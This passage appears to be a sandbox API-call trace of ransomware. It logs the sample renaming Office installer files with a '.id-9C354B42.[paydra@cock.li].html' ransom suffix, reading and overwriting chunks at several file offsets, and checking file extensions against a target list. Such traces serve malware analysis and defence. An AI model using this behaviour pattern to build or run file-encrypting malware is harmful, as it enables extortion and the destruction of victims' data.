(lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.125] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0042.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.126] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.126] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.126] ReadFile (in: hFile=0x188, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.129] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.129] ReadFile (in: hFile=0x188, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.135] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.135] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.135] ReadFile (in: hFile=0x188, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.197] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.197] WriteFile (in: hFile=0x188, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0042.436] SetEndOfFile (hFile=0x188) returned 1 [0042.436] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0042.440] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.440] WriteFile (in: hFile=0x188, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.612] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.612] WriteFile (in: hFile=0x188, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.617] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.617] WriteFile (in: hFile=0x188, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.618] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0042.739] CloseHandle (hObject=0x188) returned 1 [0042.740] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0042.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.740] lstrlenW (lpString=".doc") returned 4 [0042.740] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.740] lstrlenW (lpString=".docx") returned 5 [0042.740] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.740] lstrlenW (lpString=".pdf") returned 4 [0042.740] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.740] lstrlenW (lpString=".xls") returned 4 [0042.740] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.740] lstrlenW (lpString=".xlsx") returned 5 [0042.740] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.740] lstrlenW (lpString=".ppt") returned 4 [0042.740] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.740] lstrlenW (lpString=".zip") returned 4 [0042.740] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.740] lstrlenW (lpString=".rar") returned 4 [0042.740] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.741] lstrlenW (lpString=".bz2") returned 4 [0042.741] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.741] lstrlenW (lpString=".7z") returned 3 [0042.741] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.741] lstrlenW (lpString=".dbf") returned 4 [0042.741] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.741] lstrlenW (lpString=".1cd") returned 4 [0042.741] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.741] lstrlenW (lpString=".jpg") returned 4 [0042.741] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.741] lstrlenW (lpString=".doc") returned 4 [0042.741] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.741] lstrlenW (lpString=".docx") returned 5 [0042.741] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.741] lstrlenW (lpString=".pdf") returned 4 [0042.741] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.741] lstrlenW (lpString=".xls") returned 4 [0042.741] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.741] lstrlenW (lpString=".xlsx") returned 5 [0042.741] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.741] lstrlenW (lpString=".ppt") returned 4 [0042.741] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.741] lstrlenW (lpString=".zip") returned 4 [0042.741] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.742] lstrlenW (lpString=".rar") returned 4 [0042.742] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.742] lstrlenW (lpString=".bz2") returned 4 [0042.742] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.742] lstrlenW (lpString=".7z") returned 3 [0042.742] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.742] lstrlenW (lpString=".dbf") returned 4 [0042.742] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.742] lstrlenW (lpString=".1cd") returned 4 [0042.742] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0042.742] lstrlenW (lpString=".jpg") returned 4 [0042.742] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.742] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0042.742] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0042.742] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.742] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2503680) returned 1 [0042.742] CloseHandle (hObject=0x188) returned 1 [0042.742] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0042.743] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.743] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0042.743] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.743] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.743] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.743] ReadFile (in: hFile=0x188, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.973] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.973] ReadFile (in: hFile=0x188, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.983] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.983] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.983] ReadFile (in: hFile=0x188, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.037] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.037] WriteFile (in: hFile=0x188, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0043.115] SetEndOfFile (hFile=0x188) returned 1 [0043.116] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0043.119] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.119] WriteFile (in: hFile=0x188, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.121] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.121] WriteFile (in: hFile=0x188, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.126] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.127] WriteFile (in: hFile=0x188, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.129] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.129] CloseHandle (hObject=0x188) returned 1 [0043.129] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0043.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.130] lstrlenW (lpString=".doc") returned 4 [0043.130] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.130] lstrlenW (lpString=".docx") returned 5 [0043.130] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.130] lstrlenW (lpString=".pdf") returned 4 [0043.130] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.130] lstrlenW (lpString=".xls") returned 4 [0043.130] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.130] lstrlenW (lpString=".xlsx") returned 5 [0043.130] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.130] lstrlenW (lpString=".ppt") returned 4 [0043.130] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.130] lstrlenW (lpString=".zip") returned 4 [0043.130] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.130] lstrlenW (lpString=".rar") returned 4 [0043.130] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.130] lstrlenW (lpString=".bz2") returned 4 [0043.130] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.130] lstrlenW (lpString=".7z") returned 3 [0043.130] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.130] lstrlenW (lpString=".dbf") returned 4 [0043.130] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.131] lstrlenW (lpString=".1cd") returned 4 [0043.131] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.131] lstrlenW (lpString=".jpg") returned 4 [0043.131] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.131] lstrlenW (lpString=".doc") returned 4 [0043.131] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.131] lstrlenW (lpString=".docx") returned 5 [0043.131] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.131] lstrlenW (lpString=".pdf") returned 4 [0043.131] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.131] lstrlenW (lpString=".xls") returned 4 [0043.131] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.131] lstrlenW (lpString=".xlsx") returned 5 [0043.131] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.131] lstrlenW (lpString=".ppt") returned 4 [0043.131] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.131] lstrlenW (lpString=".zip") returned 4 [0043.131] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.131] lstrlenW (lpString=".rar") returned 4 [0043.131] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.131] lstrlenW (lpString=".bz2") returned 4 [0043.131] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.131] lstrlenW (lpString=".7z") returned 3 [0043.131] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.131] lstrlenW (lpString=".dbf") returned 4 [0043.131] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.132] lstrlenW (lpString=".1cd") returned 4 [0043.132] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.132] lstrlenW (lpString=".jpg") returned 4 [0043.132] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.132] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0043.132] lstrlenW (lpString="ProjLR.cab") returned 10 [0043.132] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.352] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8265165) returned 1 [0043.352] CloseHandle (hObject=0x208) returned 1 [0043.352] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0043.352] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.353] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0043.353] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.353] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.353] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.353] ReadFile (in: hFile=0x208, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.358] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.358] ReadFile (in: hFile=0x208, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.376] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.376] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.376] ReadFile (in: hFile=0x208, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.391] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.391] WriteFile (in: hFile=0x208, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0043.629] SetEndOfFile (hFile=0x208) returned 1 [0043.629] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0043.629] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.629] WriteFile (in: hFile=0x208, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.630] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.630] WriteFile (in: hFile=0x208, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.632] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.632] WriteFile (in: hFile=0x208, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, 